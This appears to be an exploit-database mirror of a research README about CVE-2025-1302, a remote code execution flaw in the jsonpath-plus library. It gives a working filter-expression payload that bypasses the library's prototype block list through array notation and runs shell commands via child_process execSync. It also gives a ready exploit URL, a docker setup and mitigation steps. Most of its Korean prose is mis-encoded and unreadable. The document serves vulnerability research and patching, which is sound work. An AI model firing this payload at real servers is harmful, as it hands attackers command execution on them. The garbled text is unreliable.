Share
## https://sploitus.com/exploit?id=7D11D68B-6D2A-58D8-B801-C9A113644967
# Research: jsonpath-plus RCE (CVE-2025-1302) Analysis
  
## νλ‘μ νΈ μκ° (Project Overview)
λ³Έ νλ‘μ νΈλ λ리 μ¬μ©λλ Node.js λΌμ΄λΈλ¬λ¦¬μΈ **jsonpath-plus**μμ λ°κ²¬λ μ격 μ½λ μ€ν(RCE) μ·¨μ½μ μΈ **CVE-2025-1302**λ₯Ό μ°κ΅¬νκ³ μμ°νκΈ° μν΄ κ΅¬μΆλ **μ°κ΅¬μ© PoC(Proof of Concept) νκ²½**μ
λλ€.
μ΄ μ·¨μ½μ μ JSON λ°μ΄ν°λ₯Ό 쿼리νλ κ³Όμ μμ μμ νμ§ μμ **Evaluate** κΈ°λ₯μ κΈ°λ³Έμ μΌλ‘ νμ©ν¨μΌλ‘μ¨ λ°μν©λλ€. λ³Έ νλ‘μ νΈλ μ·¨μ½ν λ²μ μ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ©νμ¬ κ³΅κ²©μκ° μ‘°μλ 쿼리λ₯Ό ν΅ν΄ μλ²μ μμ€ν
λͺ
λ Ήμ΄λ₯Ό μ€ννλ μλ리μ€λ₯Ό ꡬννμμ΅λλ€.
### μ°κ΅¬ λͺ©ν
1. **JSONPath** 쿼리 μμ§μ λμ μ리 λ° νν° ννμ μ΄ν΄
2. JavaScriptμ `eval` λ° `Function` μμ±μλ₯Ό ν΅ν **Code Injection** κΈ°λ² λΆμ
3. Node.js νκ²½μμμ RCE 곡격 λ²‘ν° λ° μλλ°μ€ μ°ν κΈ°λ² κ²μ¦
---
## κΈ°μ μ€ν (Tech Stack)
| κ΅¬λΆ | μ€ν | λ²μ | λΉκ³ |
| :--- | :--- | :--- | :--- |
| **Runtime** | Node.js | `18` | Application Runtime |
| **Library** | jsonpath-plus | `10.2.0` | **Vulnerable Version** |
| **Framework** | Express | `4.18.2` | Web Server |
| **Attack Vector** | JSONPath Injection | - | Eval Injection |
---
## μ·¨μ½μ λΆμ λ³΄κ³ μ (Vulnerability Report)
λ³Έ νλ‘μ νΈμμ λΆμν ν΅μ¬ μ·¨μ½μ μ λ€μκ³Ό κ°μ΅λλ€.
### 1. JSONPath Eval Injection
* **CVE-2025-1302**
* **μ€λͺ
**: `jsonpath-plus` λΌμ΄λΈλ¬λ¦¬μ 10.3.0 μ΄μ λ²μ μ νν° ννμ `[?(...)]`μ μ²λ¦¬ν λ λ΄λΆμ μΌλ‘ JavaScript μμ§μ `eval`κ³Ό μ μ¬ν λ©μ»€λμ¦μ μ¬μ©ν©λλ€. μ
λ ₯κ°μ λν κ²μ¦μ΄ λ―Έν‘νμ¬, 곡격μκ° μ
μ± μ€ν¬λ¦½νΈλ₯Ό μ£Όμ
νλ©΄ μλλ°μ€λ₯Ό λ²μ΄λ μμμ μ½λλ₯Ό μ€νν μ μμ΅λλ€.
* **μνλ**: **Critical (Remote Code Execution)**
* **ꡬν μμΉ**: [μ·¨μ½ν μλ²](server.js) (`server.js`)
### 2. Sandbox Breakout via Array Notation Bypass
* **Methodology**
* **μ€λͺ
**: 10.2.0 λ²μ μμ μΆκ°λ `BLOCKED_PROTO_PROPERTIES` νν°λ§ λ‘μ§μ λ°°μ΄ νκΈ°λ²(`[["constructor"]]`)μ μ¬μ©νμ¬ μ°ννκ³ , μ΄λ₯Ό ν΅ν΄ μμ±μμ μ κ·Ό, `child_process` μ΅λͺ
ν¨μλ₯Ό μ€ννλ κΈ°λ²μ
λλ€.
* **Payload μμ**: `$.[?(@[["constructor"]][["constructor"]]("return process...execSync('id')")())]`
---
## μ€ν λ° κ²μ¦ (How to Reproduce)
μ°κ΅¬ λ° κ²μ¦μ μν΄ κ²©λ¦¬λ λ‘컬 νκ²½μμ μ€ννλ κ²μ κΆμ₯ν©λλ€.
```bash
# 1. 컨ν
μ΄λ μ€ν
docker-compose up --build
```
1. **Normal Query**: `http://localhost:3002/query?path=$.store.book[*].title` (μ μ μ‘°ν)
2. **Exploit Simulation**:
* λΈλΌμ°μ λλ μΉ ν΄λΌμ΄μΈνΈλ‘ μλ URLμ μ μ:
```
http://localhost:3002/query?path=$.[?(@[["constructor"]][["constructor"]]("throw new Error(process.mainModule.require('child_process').execSync('id').toString())")())]
```
* **κ²°κ³Ό**: μλ² μλ΅ κ²°κ³Όμ μλ¬ λ©μμ§λ‘ κ°μΈμ§ `id` λͺ
λ Ήμ΄μ μ€ν κ²°κ³Ό(`uid=0(root)...`)κ° λ°νλ¨.
---
## λμ λ°©μ (Mitigation)
* **λΌμ΄λΈλ¬λ¦¬ μ
λ°μ΄νΈ**: `jsonpath-plus` λ²μ μ **10.3.0 μ΄μ**μΌλ‘ μ
λ°μ΄νΈν©λλ€.
* **Eval λΉνμ±ν**: μ
λ°μ΄νΈκ° λΆκ°λ₯ν κ²½μ°, μ΅μ
μμ `eval` κΈ°λ₯μ λͺ
μμ μΌλ‘ λΉνμ±νν΄μΌ νμ§λ§, κ·Όλ³Έμ μΈ ν΄κ²°μ μν΄ ν¨μΉλ λ²μ μ μ¬μ©νλ κ²μ΄ κΆμ₯λ©λλ€.
* **μ
λ ₯κ° κ²μ¦**: μ¬μ©μλ‘λΆν° μ
λ ₯λ°μ JSONPath 쿼리 λ¬Έμμ΄μ λν΄ μ격ν νμ΄νΈλ¦¬μ€νΈ κ²μ¦μ μνν©λλ€.
---